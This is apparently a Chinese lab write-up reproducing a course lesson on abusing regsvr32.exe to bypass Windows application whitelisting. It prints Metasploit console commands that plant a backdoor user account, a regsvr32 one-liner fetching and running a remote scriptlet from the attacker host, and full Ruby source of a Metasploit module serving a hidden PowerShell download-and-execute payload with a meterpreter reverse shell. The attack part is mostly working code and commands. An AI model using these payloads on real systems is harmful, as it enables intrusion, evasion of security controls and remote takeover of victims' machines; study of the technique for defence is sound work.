复现亮神课程 基于白名单执行payload–Regsvr32
0x01 Regsvr32
Regsvr32命令用于注册COM组件，是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令，以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下；2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL，需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式，或者提供DllInstall输出函数。
说明：Regsvr32.exe所在路径已被系统添加PATH环境变量中，因此，Regsvr32命令可识别。
Windows 2003 默认位置：
C:\WINDOWS\SysWOW64\regsvr32.exeC:\WINDOWS\system32\regsvr32.exe
0x02 复现
攻击机：192.168.1.4 Debian
靶机： 192.168.1.119 Windows 2003
A)msf_regsvr32
Msf配置:
msf5 exploit(multi/handler) > use auxiliary/server/regsvr32_command_delivery_servermsf5 auxiliary(server/regsvr32_command_delivery_server) > set CMD net user qingxin qingxin /addCMD => net user qingxin qingxin /addmsf5 auxiliary(server/regsvr32_command_delivery_server) > exploit[*] Using URL: http://0.0.0.0:8080/OjwuLaHnidmiH96[*] Local IP: http://192.168.190.141:8080/OjwuLaHnidmiH96[*] Server started.[*] Run the following command on the target machine:regsvr32 /s /n /u /i:http://192.168.190.141:8080/OjwuLaHnidmiH96 scrobj.dll
靶机执行:
C:\Users\Administrator\Desktop\Regsvr32>regsvr32 /s /n /u /i:http::/OjwuLaHnidmiH96 scrobj.dllv
结果:
B) powershell版regsvr32
regsvr32_applocker_bypass_server.rb：
### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit‐framework##class MetasploitModule < Msf::Exploit::RemoteRank = ManualRanking include Msf::Exploit::Powershellinclude Msf::Exploit::Remote::HttpServerdef initialize(info = {})super(update_info(info,'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.),'License' => MSF_LICENSE,'Author' =>['Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)'Trenton Ivey', # MSF Module (kn0)],'DefaultOptions' =>{'Payload' => 'windows/meterpreter/reverse_tcp'},'Targets' => [['PSH', {}]],'Platform' => %w(win),'Arch' => [ARCH_X86, ARCH_X86_64],'DefaultTarget' => 0,'DisclosureDate' => 'Apr 19 2016','References' =>[['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']]))enddef primerprint_status('Run the following command on the target machine:')print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")enddef on_request_uri(cli, _request)# If the resource request ends with '.sct', serve the .sct file# Otherwise, serve the PowerShell payloadif _request.raw_uri =~ /\.sct$/serve_sct_fileelseserve_psh_payloadendenddef serve_sct_fileprint_status("Handling request for the .sct file from #{cli.peerhost}")ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssldownload_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)download_and_run = "#{ignore_cert}#{download_string}"psh_command = generate_psh_command_line(noprofile: true,windowstyle: 'hidden',command: download_and_run)data = gen_sct_file(psh_command)send_response(cli, data, 'Content‐Type' => 'text/plain')enddef serve_psh_payloadprint_status("Delivering payload to #{cli.peerhost}")data = cmd_psh_payload(payload.encoded,payload_instance.arch.first,remove_comspec: true,use_single_quotes: true)send_response(cli,data,'Content‐Type' => 'application/octet‐stream')enddef rand_class_id"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"enddef gen_sct_file(command)%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}endend
Msf配置:
靶机执行:
